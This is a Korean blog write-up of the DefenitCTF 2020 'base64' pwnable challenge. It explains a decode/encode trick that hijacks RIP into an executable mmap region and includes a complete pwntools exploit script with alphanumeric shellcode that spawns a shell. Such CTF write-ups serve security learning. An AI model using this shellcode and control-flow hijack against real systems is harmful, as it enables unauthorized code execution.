본문 바로가기

카테고리 없음

defenitCTF 2020 pwnable base64 Write up

일단 대회중에는 못푼 문제이다.

시험기간이라 공부하랴 문제풀려 할것도 참 많았다.

 

문제 소스는 robots.txt 를 보면 쉽게 알 수 있었다.

 

그래서 대회 끝나고 더 풀어보는데 어느정도 리버싱은 다 되었고 레지스터들 까지 바꾸는거 까지 성공했다.

 

이제 그러면 어떻게 했는지 보자

일단 여기서 보면 여기가 대충 메인이라는 느낌이 나서 함수 이름을 바꿨다 그리고 다른것도 내가 생각하는거에 맟춰서 변경했다.

 

그럼 이제 read를 보면 0x1000 을 입력을 받는다는것을 알 수 있다.

 

그럼 이제 output이 나올것이다. 그리고 대충 gdb로 디버깅을 해보았는데 encode에서 레지스터가 막 바뀌면서 터지는 것을 알수 있었다.

우리가 인코딩한 값이 레지스터에 들어가게된다.

 그러면 우리는 ret쪽에서 우리가 원하는 쪽으로 RIP를 바꿀수 있다.

 

근데 어떻게 해야할까? 인코딩한 값을 우리가 조정을 해야하는데 인코딩된 값은 무조건 아스키이다.

 

이 방법으로 접근을 할려면 다른 또 무언가를 봐야한다

여기서 key쪽을 보면 mmap으로 실행권한 까지 주는 것을 확인 할 수 있다.

즉 저기에서 쉘코드를 실행시키면 잘 작동한다는것이다.

 

그럼 이제 우리가 원하는 0x77777000 으로 값을 돌려야 되는데,

 

이 프로그램 구조상 우리가 원하는 값을 decode 하고 나온 output을 encode할 경우 output이 우리가 원하는 값으로 나오게 된다.

 

이런식으로 encode에 output이 우리가 원하는 A로 바뀌었다. 그럼 이제 output이 0x77777000 + 0x? 이런식으로 짜줘서 쉘코드로 점프 뛰게 해줘야한다.

 

쉘코드는 zer0pts write up을 참고해서 풀었다. 쉘코드도 중간에 null이 들어가면 안되서 알파뉴메릭으로 해준거같다.

key값에 p32(0x77777038)을 해준 이유는 rsp 가 p32(0x77777034) 가 들어있는 상태에서 값을 갖고와서 점프를 뛰니까 0x77777034에 있는 값이 우리가 점프뛰고 싶은 값으로 바꿔줄려고 했다.

 

#!/usr/bin/env python
#-*- coding: utf-8 -*-

from pwn import *
import requests

#p = remote("base64-encoder.ctf.defenit.kr", 80)
p = process("./chall")

shellcode = "SYj0X40PPPPQPaJRX4Dj0YI0DNbSX502A05r9sOPTYAA01A015A0A45PMm9PTYA01A01A0150A4A5juxbP50AAB59XaXPTYAA015AA2E5on8zP50AAA5xYXRP5AA605WZ9xP5EB205ZX90P5A4005ZYzwP5BA405Xnx9P540005Z018P5AA005VrRYPTY01Tx"

#context.log_level = "DEBUG"

n = '\n'
rn = '\r\n'

payload = '''POST /cgi-bin/chall HTTP/1.1
Host: base64-encoder.ctf.defenit.kr
Content-Type: text/plain
Content-Length: {len(payload.replace(n, rn))}
Connection: keep-alive

AAAA

'''

#pause()

key = "A"*(0x38-4)
key += p32(0x77777038)
key += shellcode

buf = p32(0x77777038) * 0x40

payload = "?cmd="
payload += "decode"
payload += "&key="
payload += key
payload += "&buf="
payload += buf
payload += "\x00"*(0x1000-len(payload))

p.sendline(payload)

p.recvuntil('"output": "')
buf = str(p.recv(0xc0))

p.close()
p = process("./chall")

context.log_level = "DEBUG"

pause()

payload = "?cmd="
payload += "encode"
payload += "&key="
payload += key
payload += "&buf="
payload += buf*10
payload += "\x00"*(0x1000-len(payload))

p.send(payload)

p.interactive()